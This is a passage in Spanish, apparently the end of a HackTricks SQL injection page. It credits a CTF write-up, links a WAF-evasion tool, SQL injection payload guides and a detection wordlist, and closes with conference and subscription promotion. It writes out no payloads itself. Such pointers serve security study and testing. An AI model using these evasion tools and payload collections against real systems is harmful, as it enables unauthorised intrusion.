Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Herramientas sugeridas para evadir WAF
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Otras Guías
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista de Detección de Fuerza Bruta
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|